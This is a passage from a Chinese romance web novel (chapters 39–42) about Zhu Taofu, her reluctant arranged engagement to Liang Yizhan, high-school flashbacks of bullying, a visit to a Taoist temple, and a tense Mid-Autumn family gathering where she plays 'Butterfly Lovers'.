许若歆恍然大悟,前两天通宵加班遗留的黑眼圈,跟着她瞪圆双眸而放大,看上去辛酸又心疼。
“原来不是学术界,是法术界啊!”许若歆惊讶。
祝陶浮:“……这是世人的误解,我们不会腾云驾雾。”
本想还逗乐两句,忽然想到什么,许若歆怀疑道。
“慢着,你一直单身的原因
,不会是你们有什么门规,不让结婚什么的吧?”
在许若歆的印象里,跟信仰神佛扯上关系,多半都是断情绝爱。
祝陶浮轻咳两声,只道:“我们观里比较小,人也少,没那么多规矩,道长也没让我皈依,而且基本是正一教,是可以结婚生子的。”
这个问题,在高中时期梁以盏陪她去洲安的道观参拜,早已提询质疑。
那天阴云密布,快要下雨。
之所以天气记得如此清楚,是因为少年拽冷的脸色,比阴恻恻的天色还要沉暗,站在道观门口,长腿不肯迈进。
经她解释一番,梁以盏还是跟随进去,就是脸色依旧很冷,所幸两人终归是赶在下雨前离开。
“哦,原来如此。”许若歆若有所思,继续询问。
“那师兄师姐呢,现在还玩游戏吗,要是他们知道你从围着他们的旁观者,变成了指点的参与者,肯定会觉得很有意思很欣慰吧?”
停顿片刻,祝陶浮垂下眼睑,轻声道:“他们早已结婚,有了各自家庭,人一旦开始进入婚姻关系,很多事情便慢慢地会淡下来。”
“哎,的确。”没有发现,她眼神里一闪而过的落寞,许若歆如是分析判断。
“这就是我不想结婚的原因,所谓婚姻可能有甜蜜,但总归不自由。”
第39章 我当你是长情
晚上回到小洋房, 梁以盏难得没有在家。
但客厅里的落地暖灯,依然静静地亮着,仿佛他依然在那里, 等她回来。
明天就要启程,祝陶浮如同往常一样, 进屋上楼,回房收拾行李。
只是在路过二楼的时候, 看到电竞房,与紧邻的书房,不免有些恍惚。
偶有半夜, 她摘下耳机,从电竞房出来,未曾关闭严实的书房门,透出些许光亮。
时差原因, 梁以盏在线上听取跨国项目汇报,交流内容不甚明了, 但能听到他低沉磁性的谈话声。
高中两人同住屋檐下, 唯一的卧室是祝陶浮使用,相当于简易书房。
廉价窄小的出租屋的隔音效果,比不上如今宽敞安静的庭院。
而梁以盏则在客厅茶几上,敲击笔电尽量压低声音与对面进行她并不清楚的对话。
矮旧老屋楼上夫妻吵架、楼下父母打骂小孩,相邻的是电视剧里剧情播放、大笑哄闹。
一片嘈杂里, 梁以盏低沉嗓音反而莫名地令人清净。
即使六年以后的夜半,也是一样的平和宁静。
过去好像一场梦,在洲安的一切也恍恍惚惚地看不清。
一夜无梦。
行李头一天收拾完毕,尚未到十一黄金周的旅游旺季,从洲安到栖梧的飞机同高铁价格相差不大, 上午十一点甚至打折还便宜一点。
时间充裕,祝陶浮拎着行李箱,打算在地铁口的便利店买点牛奶面包当早餐。
慢慢地推着行李箱走出房门,来到走廊双手拎起箱子把手下楼梯,对面房间的门忽然打开。
男人衬衫领口散着,一边走一边随意扣上,袖子半挽露出流畅性感的手臂线条,接过她手里的箱子,单手拎起轻轻松松下楼。
如履平地,独留祝陶浮站在三楼梯口沉默。
“怎么了。”
这三个字,一直是她说的比较多,今天轮到梁以盏站在一楼,放下行李箱后,与她遥遥相望。
默了半晌,祝陶浮慢吞吞道。
“你……你不去上班?”等了一会儿,等来了这么一句。
静静地掀起眼睑,一楼落地窗外的阴云,融落进他灰沉眸色。
分明是他仰头,站在台阶下。祝陶浮却感觉到,他沉甸甸的视线,游刃有余,仿佛他才是俯视的掌控者。
既然祝陶浮这么说,梁以盏浑不在意地接话:“都要走了,来送送,我的……”
顿了顿,梁以盏拖强音调:“室友。”
此言着实没法接,祝陶浮走下楼梯,讷讷地发好人卡:“那你真是……好人。”
室友。
好人。
风过无痕,墙边绿植婆娑摇曳,发出些许沙沙声响。
他不说话,祝陶浮也不好再多言语,打算默默地推着行李往外走。
腕骨忽然一凛,带着微凉而不容置疑的力道,牵制住她,令她无法再向前。
嗓音喑哑落于耳侧,祝陶浮听见他说:“这些年过去,临走前的一句话,同样这么敷衍吗。”——
中元夜过,尽管黑暗里暴雨如洗,可当白昼来临,清风拂过水波没有留下任何痕迹,那些肮脏血污好像从来都没有发生过。
砰地一声,女孩被人群推搡,跌落进昨夜尚未干涸的路面水坑里。
昂贵精致的校服裙摆,瞬间染上泥泞,脏污不清。
始作俑者也是一群女生,笑嘻嘻地围在她身侧。
看到她那张漂亮脸蛋,狼狈而隐忍,心里泛起扭曲的快感。
“啧,装什么清高,你不会以为,祝家会管你吧。”
“哈哈哈哈,可能前几天又被人送礼物,以为能攀上高枝,野鸡变凤凰咯!”
“说什么呢,那家少爷怎么能看得上她,想上她才对吧!”
“诶,要我说,梁以盏怎么当时没把她掐死,至少弄个半死不活,也不至于现在碍着咱们得眼了?”
“好了好了,别跟这种晦气玩意儿纠缠,晚上还有聚会,因为她而错过,可就太不划算了。”
……
方才为了保护笔记本,避免被污水模糊,祝陶浮趁着人群混乱,将笔记本迅速丢藏在旁边的灌木丛里,自己只能直直地受到撞击,柔软掌心擦过污水里的粗粝砂石,磨得钻心生疼。
顾不上查看伤痕,她艰难地爬起来后,一瘸一拐地走进小树林里,翻找出笔记本。
还好,字迹清晰、页面完整,就是有明显的旧有缝合痕迹,以及,刚刚新战上去的手指血痕。
这是上个月,班上那群纨绔少爷千金们,戏弄地把她放在书包里的数学笔记本,放在了梁以盏的桌屉里。
数学笔记本是她从栖梧转学时带来的,她记载的最为认真用心,特意用了不一样的、价格稍贵的封皮,一眼瞧上去,便与其它的书本不同,也是给了这群杂碎可乘之机。
她顺势前往梁以盏的座位翻找,正当拿出笔记本时,课桌的主人恰巧此时、路过此地。
明明他几乎不会来学校,可偏偏就是如此巧合,在祝陶浮停留的一刹那,本人刚好赶到。
在对方清冷阴影倾斜而来的一瞬间,祝陶浮明白,自己上当了。
随之而来的,便是被少年修长有力的手掌骨节,钳制住身体最为脆弱纤细的雪白脖颈,狠厉地掼摁在后墙上。
祝陶浮手腕脱力,刚到手的笔记本,没有力气拿稳,掉落在地面。
然而笔记本不再完整,里面的纸页,明显早已经过人为撕扯毁坏,零零碎碎,散落一地。
那天过后,祝陶浮没有回去再寻找。
这群纨绔们平日里戏弄她没有置自己于死地,可在与梁以盏对视的那刻,她能感觉到,对方异于常人的灰暗眸瞳,泛着无机质的冰冷。
是没有生命的,暗沉深渊。
可能是出于小时候道观的经历,或是梁以盏丢来的膏药证明他没那么绝情,在雨夜巷口撞见他一身血污的时候,祝陶浮尽管心里害怕,走过去伸出手的时候,难免手指发颤,却还是将他扶去附近的诊所就医。
原以为中元夜过,自己与他是两条平行线,不会再产生交集。
可第二天下午,头天因为转医药费为理由、而加上联系方式,祝陶浮收到留言,数学笔记本在她课桌里。
可惜的是,失而复得、重新修归于好的笔记本,到手的喜悦还没来得及热乎,便被霸凌者的冷水兜头浇得
满心寒凉。
寝室是回不去了,祝陶浮没有习惯性地在便利店凑合一晚,前往居民楼里价格较低的黑网吧。
已经来了三四次了,她以为这次也不会有太大问题,谁料刚刚缩在座位上打算听听网课休息一会儿,便被一群流里流气的混混们拉扯出座椅。
就在祝陶浮挣扎的时候,一只清冷带有伤痕的手背,将她揽过隔绝外界的混杂烟酒。
一群混混见到来人是谁后,相视一眼,停顿两三秒,紧接着迅速四散逃跑。
昨夜以后,他们群里流传出一张抓拍图片。
一个哥们单挑一群打手,竟然将他们全都击倒在地。
偷拍目击者表示:“此人是个狠角色,目前尚不明确是何方大佬,建议绕道而行。”
而眼前少年凛冽带有血痕的眉眼,与那张抓拍的血污图片,诡异地重合上了。
无他而已,只因五官凌厉深刻,是世间少有的冰冷艳色。
过目不忘,不会认错。
他们都是群色厉内荏、被酒色掏空身子的小混混而已,哪里见识过真正的狠厉大佬。
见到他揽肩的行为,那还说啥了,打不过,走为上策呗。
不知道围上来的五六人,为什么突然之间全都作鸟兽散,祝陶浮看着他眼角包扎的白纱布,又瞅了瞅自己身上的伤痕,她悄声道。
“你说,他们是不是觉得,我们是那种很能打、很猛的道上,所以害怕跑……嘶——”
话音未落,唇角被贴上一个冰凉创口贴,止住她因为说话,而微微裂开渗血、有些火辣辣疼痛的创伤。
修长手指轻擦过她红嫩唇珠,梁以盏淡声说:“是,那闻风丧胆的不良少女,可以走了吗?”
其实即使她身上带着脏污和伤痕,过分艳丽的白皙容颜上,那清澈黑亮的眼眸,一眼瞧过去,分明是温柔漂亮的乖乖女。
但低瞥灰眸,撞见她强行壮胆而鼓起勇气的弯笑眼瞳,戏谑的话语到了嘴边,梁以盏不知怎么地,改口顺着她往下说。
闻言,祝陶浮点了点头,隔着校服外套,他感觉到女孩瘦弱肩膀稍稍放松下来。
“可以的,不良少男。”
于是,祝陶浮便跟着梁以盏回了他的出租屋。
在他那里凑合一晚,然而凑合了一晚又一晚,直至高考。
“就这么放心我?”进屋后,梁以盏问。
反正在哪里都是凑合,祝陶浮点头回答:“对啊,你是个好人。”
这是第一晚将就下来的时候,她的评价。
如今时隔多年要离开,她的答案,依旧如此。
“好吧,那我的确没什么长进。”面对问题,祝陶浮是回避,所以梁以盏拽住她手腕时,她回过身,低头没有看着他,尽量缓和气氛,说了这么一句话。
好像坦然地承认是自己的问题,那便可以独自负担着离开。
“没长进吗。”梁以盏靠近一步,修长手指顺着她的腕骨而上,接着是她薄皙皮肤下,隐隐跳动的脉搏。
他冰冷骨节,像是触摸着她微弱而鲜活的心脏。
祝陶浮还是没有抬眸看他,却留意到视线里,他中指出现的那个银质戒指,轻轻地碰撞了一下,她藏在衣袖里的银手镯。
还是今年中元节那天,梁以盏给她戴上的,说是辟邪用。
如同高中那年他索要的生日礼物,是要她在手工店里,篆刻着简易经文的银质戒指,理由亦是,银与经文,皆为辟邪。
这与后来送给她串着平安扣的手链,价值天差地别。
如此格格不入,价格高昂的玉碎,祝陶浮以为廉价的银戒指也会遗失在岁月里。
可却在中元节瞧见,现在也是。
掀起眼睑,灰眸沉暗如落地窗外将来的风雨,梁以盏嗓音轻轻落下。“我当你是长情。”
第40章 下下签
十月, 回到栖梧的日子,与在洲安是截然相反,从QSG基地到老洋房的两点一线, 变成图书馆、实验室、寝室的三点一线。
生活看似变得平淡,实际上还是与过去有着千丝万缕的联系。
研究生的室友群里, 大家都忙碌各自实习和论文,并互相分享投哪里的offer。
“卧槽, 我本科的一个同学,保研去洲安,她现在进梁氏集团了!一路顺风顺水, 运气也太好了吧!”
“这我真得接,接好运,接offer。【双手摊开、接jpg】”
“大接特接,+1。【表情包跟随】”
……
接好运的表情包队列, 祝陶浮不点一下显得有些突兀,只好跟着转发。
“诶, 小桃桃, 怎么没见你在群里发言?”
平日里闲聊或者涉及作业,她会与她们讨论一番。
但如火如荼涉及到的秋招,祝陶浮却沉默以待。
“还没想好吧。”她如是回答。
“这哪是想不想的问题,而是做不做。”室友好心提醒。
“错过了秋招,春招可就没什么好的了。”
因为是真的没想好, 也没想过变好。
坐在实验室的工位,祝陶浮轻轻地叹了声气。
“怎么了,数据不对吗?”隔壁桌同组的男生,难得见她叹气,滑轮椅滚过来, 准备帮她检查演算,看看什么问题。
祝陶浮摇头,顺便把桌子抽屉里的洲安伴手礼,拿出来送给他。
“哎哟,我前些日子去外地参加研讨会,线上看群里发图片炫耀,还以为你漏了我呢。”杨鑫接过礼盒,哼哼唧唧地表态。
在理工男里,杨鑫长相属于清秀型的帅气,可他思维谈吐过于直来直往,以至于一直处于单身状态。
“哪有,怎么会。”祝陶浮。
“怎么不会。”他打开礼盒,翻出一块巧克力杏仁,边吃边闲聊。
“咱两以前还聊聊比赛,你去洲安实习的大半年,最近一两个月完全杳无音信,那小公司跟养老一样、朝九晚五的作息,难道比我这个天天到处飞、跑项目的还忙?”
杨鑫斜了她一眼,眼神中充满怀疑。
这个……
在QSG兼任分析师,出于战术保密,祝陶浮也不好多说什么。
没有察觉到她微微僵住,杨鑫自顾自往下,遗憾开口:“你是没看比赛,QSG这一两月的bp太精彩了,简直跟换了个人似的。”
的确换人了,本人就在眼前,祝陶浮继续沉默。
“就是有点神经刀,一会儿好,一会儿坏,明明新体系就应该磨合到底,不知道赛训组发什么神经,bp拉扯差点把自己的冠军给拉扯没了。”
祝陶浮:……
该说不说,杨鑫还挺料事如神,她唯有沉默以对。
奈何即使不说话,也能被他抓住把柄。
“你怎么一句话都不说。”叨叨半天,发现她但听不语,杨鑫终于从甜品里转移视线,狐疑地看向眼前人。
心虚地咽了一下,祝陶浮面上不显,坦然回望过去。
“哦,因为我觉得你说的太好了。”为表配合,她真诚地点了点头。
眼皮耷拉下来,杨鑫露出一个无语的表情:“油腔滑调,心口不一,我看你是谈恋爱了。”
祝陶浮:“……咳咳,咳……”
“什么情况,刚一回来,就听到说,小祝谈恋爱了?”
实验室房门半敞,从门外走进来一人。
他们两人正在闲聊,没有注意走进来的人影。
见祝陶浮止不住地咳嗽,他准备伸手,像是帮她顺气,拍了拍她的背部。
“是你在洲安认识的吗,那什么公司?我跟你说,一般这种小企业,没有前途都是混吃等死,如果学妹你跟在里面的谈,搞不好就会……”
啪地一声,一个文件夹横空而出,挡下了他的手掌。
“林斓,你什么意思?”方才展露的温柔笑意,在面对女生手拿文件夹时,脸色瞬间垮下来,不悦之情溢于言表。
“没什么意思,打苍蝇来着。”女生淡淡地端着水杯路过,仿佛真的只是在打一只恼人的虫子。
男生忍了忍,收回意欲作乱的手,面对祝陶浮时,再次换了副耐心神色,似乎是学长关心学妹。
“小祝,谈恋爱可得好好挑挑,现在可多男性都是仗着自己有点小帅和小钱,专骗你这种大美女。”覃鹏宇关切劝解,循循善诱。
“况且洲安可比咱栖梧繁华复杂多了,还不如找身边
人,来得熟悉心安。”
听得莫名其妙,杨鑫从点心盒里抬头,眼睛里写满了鄙夷。
他上下扫了一眼覃鹏宇,嘴角扯出一个奚落的弧度。
“突然当众自我介绍,这就是你上周混论坛的时候,拍照打卡的台词?”毫不掩饰地翻了个白眼,杨鑫轻哼了一声。
“你……”
电话铃响,打断了他的表演。
“懒得跟你计较。”覃鹏宇恶狠狠地剜了他一眼,拿起手机去一边接电话。
满不在乎地切了声,杨鑫:“肚子跟脑子长反了吧,天天这么多有的没的花花肠子。”
反应过来覃鹏宇举止异常,明白林斓是在替自己解围,祝陶浮感激地看向她。
“谢谢师姐。”
无论对谁,林斓始终表现得十分淡然。
因此祝陶浮表达感谢,她只是略一点头,眼神放在电脑上并未挪开。
“不用,我本来就看不惯他。”
林斓和覃鹏宇是盛科大学数学系硕博连读,同一个导师。不同的是,前者靠自己挣得名额,后者靠自己的亲爹。
杨鑫那话是讽刺亦是事实,覃鹏宇在课题组就跟旅行打卡拍照的游客似的,简历刷得热闹,实则细究起来,一问三不知。
祝陶浮笑着走过去,趴在林斓的工位上,玩笑道:“那学姐还看得惯我吗?晚上请你吃饭。”
指尖敲击键盘修改数据,林斓淡淡开口:“你那小公司开的实习工资,能够你吃几顿。”
对比覃鹏宇虚伪关心,林斓是实实在在为自己考虑,祝陶浮刚准备说些什么,杨鑫替她抢答。
“学姐,你这就小瞧她了啊,看到没,她还换了个新手机。”
往日里祝陶浮手机卡顿地都是好几年前的版本,然而这次她却拿着最新款,不像她一贯节省的作风。
事出反常必有妖,林斓终于从繁杂的建模里抬头,审视眼前人。
“你谈恋爱了?”
祝陶浮:……?
“不是,你们什么意思啊,就不能是我自力更生,这可是我自己打工买的。”她愣愣道。
“哎呀,不是说是你对象买的,只是你风格改变,肯定有问题咯。”杨鑫耸耸肩,理所当然地说。
祝陶浮:……
见状,林斓委婉提醒:“谈恋爱还是注意花销,别被人当提款机。”
祝陶浮:?
碍人眼的苍蝇飞远,杨鑫再次打开礼盒,翻出鲜肉月饼,嚼了嚼。
“那你中秋呢,今年还在栖梧过吗?”
她们同组的基本都在栖梧,少数本地人会回家团聚。
从高考考回洲安,祝陶浮户口重新迁回本地,中秋节的时候,她不在学校,大家以为她是理所当然地和家里人团聚。
短暂地愣怔,祝陶浮随后抬头好奇。
“你为什么这么问?”
“不去找男朋友吗。”杨鑫坦然自若,又丢了颗奶糖进嘴里:“这个抹茶味的好吃。”
祝陶浮:?
林斓淡定跟话:“难不成团圆的日子,你俩异地恋?”
祝陶浮:……
—
栖梧郊区,祝陶浮转了几班路线,来到地铁尽头。
随着地铁教练往后,人群愈发稀少。
直至最终,乘客寥寥无几,祝陶浮平静下车。
郊区与市区恍若两个平行世界,这里道路分划不那么清晰,行人与车辆拥挤在一起,就像这里的居民一样,不那么清楚目的地昏昏度日,平凡而平淡。
穿过稍显热闹的集市,祝陶浮熟稔地来到一片三轮车区域。
司机操着乡音拉客,祝陶浮坐上车后,等待人满出发。
路途无聊吵嚷,车上旅客大都没什么兴致,在司机吆喝声里烦躁下车,祝陶浮显得尤为平静,就像她来到的地方,安然平淡—
静远观。
近些年低矮山路不知道被哪个好心人捐赠修缮,平整得如同可以直通道观门口,不用再下车步行一段距离。
道观偏僻静谧,几乎没什么香客,却并不破财凋零,相反瓦房典雅整洁,温润而舒展。
香客稀少,道观里值守神殿的道士乐得悠然,惬意地在银杏树下捡拾着落叶和果实。
礼貌性地同道士问好,祝陶浮熟门熟路,轻敲藏经阁的房门。
与著名道观的几层高楼不同,此地的藏经阁,名副其实狭窄阁房。
屋内点燃着浅淡薰香,古木桌后一名中年男子正在抄誊经书。
见她走进屋,抬头冲她和蔼一笑。
“今年来得这么早,没有赶在中秋,是因为要去洲安,和他过节日吗。”
将提过来的特产,放在旁边的圆柜上,祝陶浮无奈地陈述:“师父,我和他是不可能的,下下签。”
“明知不可为而为之嘛。”道长心情愉悦地调侃说。
“错了,是不可为,而不为之。”祝陶浮——
作者有话说:元宵节快乐宝宝们!祝大家福气满满,好运多多![比心]《 》
40-50
第41章 《梁祝》
每一年中秋, 静远观的主持吴真道长,都会暂时结束云游,返回栖梧。
静远观加上义工居士, 总共十余人,还有零零散散在外, 基本没什么人常驻观里,主打一个随心随意。
月圆之日, 团圆之时,常年在外的吴真道长返回观里打理事务。
庙小人少,没有什么特别的事情需要解决, 吴真象征性地回观里看看。
母亲在世之时,中秋节会带她去道观拜会。
后来病逝,除了在洲安,只要在栖梧, 祝陶浮依旧会前往静远观。
把给他带的礼盒,放在古木桌上, 吴真道谢接过, 当即拆开包装,随意地和她边吃边聊。
“何必如此悲观,事在人为嘛。”
面对求签为下,吴真笑眯眯谈论,如同提及天气一样寻常淡然。
剥掉塑料保鲜盒, 他慢悠悠地拿出里面的苔条果仁月饼,嚼了一口,感叹道:“小陶浮你也太有心了,还是记忆里的老味道,好吃!”
吴真游历大江南北, 洲安的寺庙道观他也访问过,曾经带回来一家佛教禅寺的月饼,得到中秋来访者的一致好评。
此刻祝陶浮带回来的,正是之前吴真购买的款式。
除了包装设计愈发精美,味道没有太大变化,依然满口酥香。
“所以呢,有些东西变了,有些东西还是没变。”他老神在在道。
祝陶浮看着他,默默补充:“师父,你是饿了吧,就是说这个好吃而已。”
的确如此,吴真坦诚以对:“好吧,不愧是小陶浮,聪明伶俐,那我也不跟你兜圈子了。”
不兜圈子,话题却兜兜转转,绕回起点。
“天意如此,尚有事在人为。下下签的桃花劫,说不定能转危为安。”
“是吗。”没有被他的话语打动,也没有显得过于哀恸,
祝陶浮平静陈述。
“可我过去求签问卦,是没有好结果的。”
窗外阳光幽幽映进室内,空气仿佛短暂地凝滞下来。
当初,母亲病重,从来不怎么求签的祝陶浮,在忙碌学业和照顾母亲之间,抽空来到静远观,求问一卦。
不喜欢求签问卦,是因为害怕得到不好的消息。
然而难得求问神明,却是一个最坏的答案。
年少时,祝陶浮一无所有,也不知道怎么办,只是凭自己仅有的一点力气,每天都会来道观跪拜。
听说犯了错,可以燃香静跪,祈求神明原谅。
于是她在忙碌疲惫以后,每晚独自在蒲团上虔诚祈祷。
直至体力透支,晕倒在神殿里。
值守的道士,把情况告诉在外云游的吴真道长,他特地连夜赶回,劝诫累倒在诊所小床旁的祝陶浮。
“小姑娘,你没有错,哪里需要跪香,求神明原谅呢?”
现在年纪稍
长,祝陶浮依然一无所有,只是没有曾经那么幼稚执拗。
在订婚以后,她又求了一签,结果仍旧是下下。
人生到此为止的两次求签,都是不好的结果,祝陶浮摩挲着签文,没有说话。
原本吴真有说有笑,吃着洲安特产,闻言他停止动作,神色收敛许多,严肃认真起来。
经年过去,女孩容颜漂亮依旧,甚至艳丽更显,眼珠乌黑清澈,却不似从前灵动如活泉。
平静回望时,沉静漆黑,恍若被困住的古井,汩汩无声,不得挣脱。
“陶浮。”吴真轻轻地叹了声气,说:“凡事,往前看。”
常言讲,人不能沉浸在过去里,要活在当下,看在未来。
可若是没有过去种种,何谈现在呢。
知晓这孩子看着温顺乖巧,实则性子执拗,吴真不再过多劝解,换了个方式,缓和气氛。
“你要真的就此认命,今年哪里会提前到来。”转移话题,他端起桌上的普洱茶,缓缓啜饮。
“难道不是,专门把那一天,空出来去找他。”吴真喝了口茶,脸上恢复了些笑意。
祝陶浮也跟着浅浅一笑,淡声言:“是离开他。”
—
自从上次,与梁以盏在门口争执,两人再也没有联系。
也不算争执,是梁以盏单方面的质问,祝陶浮望着机窗外的浮云,神游云外。
那天吵归吵,他还是让司机送自己去机场,自己随后前往公司,说是顺路。
洲安两个机场,无论哪一个,都距离市中心的梁氏集团,相当遥远。
很多时候,其实祝陶浮面对问题不知道怎么办,也没有能力去解决,她选择逃离问题。
希望这次,与以前很多个迷惘时刻一样,问题能随着时间,自然而然地消散。
短暂高空失重,飞机降落洲安。落地时刻,人世间的喧嚣随之而来,祝陶浮按捺下纷扰思绪,走出舱门。
到达地点,一名穿搭得体的男人,接过他手里的行李箱,殷勤地示意前行。
认出此人是祝峥的秘书,祝陶浮没有多言,沉默跟在他身后。
“明天中秋,我们和梁家一起,在对方祖宅里度过。”上车后,祝峥开门见山,同她吩咐。
“妹夫跟你联系了吗。”他问。
其他絮叨,老生常谈,祝陶浮一只耳朵进,一只耳朵出。
唯有祝峥这声称谓,她着实难以评价,选择避而不谈。
看她这副不配合的模样,祝峥知晓两人肯定没有交集。
戳十下祝陶浮能动一下算谢天谢地,祝峥也懒得多费口舌,只叫她把自己收整收整,别到时候丢面。
“行啊,你给报销就ok。”祝陶浮百无聊赖地说。
偏过头看着她,祝峥奇了怪了:“梁以盏给你每套房里都配有衣服首饰,你怎么还要坑你哥的钱?”
坦然回望过来,祝陶浮一字一顿,同他掰扯:“祝家是祝家,梁家是梁家,不一样的。”
“区分这么细干嘛,一家人不说两家话。”祝峥嗤了声,吊儿郎当瞥眼。
淡然应声,祝陶浮看着他,理直气壮伸手:“那就不分,你打钱吧。”
本是劝说她,结果把自己绕进去了,祝峥:……
—
梁家祖宅,位于洲安东郊南麓,独占半山临湖,天然藏风聚气,主宅后院皆为风水宝地。
车辆缓缓驶入古深大门,沿着山湖蜿蜒而上,来到主宅前厅。
黄昏时刻,夜色尚早,宴厅还未开席,宾客在西花厅闲坐。
管家将祝氏夫妇、兄妹一行四人引到敞轩,偌大厅堂传来一阵悠扬的提琴声。
走进屋内,便听到三三两两的人群,正散坐闲聊。
“不愧是袁家千金,长得好看,也弹得一手好琴。”
“是啊,以后妥妥的艺术家。”
“什么以后,她现在就师出名门,等她在国外学业结束,回来以后,前途无量呢。”
……
知晓祝家人已经到达,后面更为直接难听的话语,消失在无声无息之间,仿佛沉浸在悠扬乐声里。
闻言,祝家四人心思各异,面上表情却统一地没什么变化。
休息会客的花厅,不同于宴席座次等级分明,因此主榻上的祝老太太笑意盈盈过来招呼,他们随意入座,祝老爷点头示意表示欢迎。
但祝家一干人等,心照不宣按照长幼尊卑,分坐在厅里各地。
“就说梁老二位,今年怎么突发好心叫我们过来,原来是叫了别人过来,别有用心啊。”随意拣了张不高不低的梨木桌座次,祝峥低声同祝陶浮交流。
对此,后者无奈道:“我本来就说不用来啊,梁以盏今天不在。”
何况,他发过话,自己不想做的事情可以不做。
但这个理由祝峥不会承认,在他思维里没有愿意与否的概念。
“他不在,我们来,不冲突。”祝峥驳回请求,继续刚刚的话题。
“方才落座看着招揽热切,又没有明确要求你跟他们两坐一起,原来另有人选。”瞥了眼屏风后,挽着琴弓的窈窕身影,祝峥眼神一凛,冷笑道。
耳边幽幽琴音,众人目光却不在拨琴之人。
有意或无意,凝聚在看似默不起眼、而明艳惹眼的侧颜上。
当事人没有任何反应,优哉游哉地就着瓷杯里的荔枝石榴汁,咬了口桂花糕。
祝峥:……
为了避免多大舞台丢多大脸,他索性把人推到舞台中央。
于是一曲终了,祝峥强行中断她的吃吃喝喝。
众人赞叹声止,祝峥缓慢鼓掌,看向祝陶浮,忽然笑了笑。
“袁家小姐果然才貌双全、琴艺动人,我家小妹也想献个丑,讨教一二。”
停止吃东西,祝陶浮:……
“……你幼不幼稚,当是小学生文艺汇演吗?”秀眉微蹙,她悄声表达不满。
祝峥笑意未改,用只有他们两能听见的音量,咬牙开口。
“谁让你一直吃零食,那就去给家长们表演个节目呗。”
祝陶浮:……
一时间,原本隐晦打量的眼神,全都不加掩饰地直视过来。
她只好放下手中的茶杯,对着紫檀主位的两位老人,微微歉疚一笑:“袁家小姐的弹奏是如听仙乐耳暂明了,我就不令大家,呕哑嘲哳难为听。”
一番谦逊婉拒,然而梁氏二老却是饶有兴致,慈爱笑言。
“无妨,中秋就是图个热闹,丫头你尽管弹便是。”
“是嘞,那一片的乐器,你随意挑选。”
屏风影影绰绰,映照出身形与乐影。
年少时跟着道观里的师兄师姐玩过游戏,也学习些古琴。
后来他们结婚生子,离开静远观有了各自家庭,祝陶浮没时间也没精力再拨弄琴弦。
兴趣式地学习,与系统乐理培训,天差地别,祝陶浮既是拒绝,亦是事实。
还想再推辞,窗边摆放的昂贵器具,没有自己擅长。
下一秒,祝峥笑着接话。
“那可巧了,小妹刚好略懂古琴一二。”堵死她的借口。
“是吗,那祝家真是有心了,在这浮躁的年头,让孩子静心学习古琴,真是会教育培养人。”祝老爷沉声笑道。
在座的面上不显,心里明白,祝陶浮分明都快成年了才被接回祝家,哪里谈得上教养。
若有似无的抛问,祝启鸿尴尬笑笑,燕媛倒是沉得住气,端庄大方应声。
“都是小浮自己的主意,很让我们当家长的省心呢。”
是夸赞,也是另有深意,总之将他们夫妇从窘境里暂时脱离。
祝老太太点点头,随即慈祥地望着祝陶浮。
“那就麻烦小浮,谈一首,我想听的曲子吧。”
祝陶浮起身,不卑不亢地礼貌问好。
“不麻烦,晚辈应该的,您但说无妨。”
祝老太太笑了笑,说:“好好,小丫头漂亮爽快,我想听的就是,《梁祝》。”
此言一出,空旷厅堂,安静地如同无物。
曲目《梁祝》。
梁山伯与祝英台。
大喜之日演奏悲剧,偏偏凑巧,梁以盏与祝陶浮,也顶着梁、祝二字。
除了祝陶浮,祝家人再怎么掩饰,脸色倏地变得难看。
祝氏夫妇二人不在乎联姻,但对于梁老二位明晃晃地拆台,是打他们脸的行为,相当不满。
祝峥则是站在联姻的一方,对于不加掩饰地破坏表达,十分厌恶。
迫于权势,他们都只
能压下情绪,与其他人一样,静静旁观着真正的当事人。
状似贴心着想,祝老爷补充说:“这首曲子不错,也是提琴演奏名曲,小祝要是有什么不懂的,可以请教小袁指点。”
彻底断了后路,把她架在火上烤。
面对各色试探,祝陶浮神情始终未变,亦未多言,平静地走向古琴架旁。
清风穿过厅堂,如同琴音清亮,是故事开始的学堂少年时,短暂轻松的懵懂时光。
而后,琴声一点点下沉,父母之命、媒妁之言,现实重压生生撕裂美好纯真的过往。
紧接着,琴声越来越急促,越来越压抑,是二人抗婚不得、挣扎无果,就快要溺毙于越陷越深的泥泞之中。
祝陶浮按弦深重,拨弹缓慢,每一个音,都在倾诉,主人公
的爱别离,求不得,无穷无尽,朝着黑暗深渊下坠。
骤然间,一道音节,自对面响起。
像是一束横空破开的光亮,生生撕开弥漫盘旋的沉沉乌云,倾洒在看不清前路的茫茫黑夜。
相隔几里,恍若几个世纪。
并非沉郁顿挫的古朴琴音,而是来自对角之处,花厅光线最亮处的钢琴架。
蓦地抬眸,祝陶浮看见,不知道什么时候,一直静卧着的铮黑钢琴前坐着一人。
是梁以盏,他也正在弹奏,《梁祝》。
第42章 哄不好了
“别弹了, 我说过,我不喜欢你。”
洲安市格兰佩国际高中,琴房里, 少女语气平静柔和,说出来的字句, 比一曲终了的琴音,还要清凛几分。
“为什么。”
和弦中断, 男生不解地从钢琴凳上站起来,想拉住她的手。
祝陶浮往后退了一步,躲开他的触碰, 冷淡转身离开。
“你说让我把礼物退给你,在琴房来找你,我来了,放在你书包。”
“诶, 等等,你别……”
男生正欲再多说点什么, 追上去挽留, 房门自外打开。
“吵到我睡觉了。”
琴房旁有间空出来的房间,作为教室过于狭小,遂用作自习室。
但在这所私立学校,大家都是浑浑噩噩,正课上不了几节, 遑论自习,这间房大多数时候处于闲置状态。
门口少年恹恹地耷拉着眼皮,半倚门框,周身散发着被打搅美梦的低沉气压,令人不敢靠近。
男生:……
在看清来者是谁, 果断抓起书包带子,仓皇逃离现场。
“那个,我们下次再聊,回见啊。”
说着,为避免和少年撞上,他头也不回地选择翻窗溜走。
不知道是身体发虚还是翻窗不太熟练,男生爬个半人高的窗户,扑通一声,书包连人,摔在走廊。
男生:……
狼狈地拍了拍裤腿,他趔趔趄趄地渐行渐远。
收回望向窗边的目光,祝陶浮重新看着眼前的清冷身影。
“怎么,你也要跟着他去。”懒洋洋地掀起眼睑,灰暗瞳眸意味不明。
注意到他拦在门口,没有让位的意思,祝陶浮以为他是让自己也走窗户那条路。
所以她点了点头,淡然回答:“也不是不……”
不行二字,尚未出口,梁以盏已经走过来,拽着她手腕,离开琴房。
“你挺行啊,让你扔礼物你不干,倒是整这么一出。”
自从上次所谓的不浪费原则,她没让他直接丢进垃圾箱,选择退还给赠与者本人。
梁以盏就再没跟她说过话,处于心照不宣的冷战状态。
眼下他却找上自己,虽然脸色依然冷沉。
被他强行拽离琴房,她想挣脱无果,腕骨处隐隐作痛,祝陶浮呛了几句。
